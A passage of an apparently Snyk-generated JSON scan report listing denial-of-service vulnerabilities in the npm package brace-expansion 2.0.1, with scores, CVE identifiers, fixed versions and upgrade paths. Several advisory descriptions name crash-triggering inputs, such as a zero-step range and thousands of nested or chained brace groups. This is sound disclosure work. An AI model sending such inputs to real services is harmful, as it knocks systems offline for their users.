"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
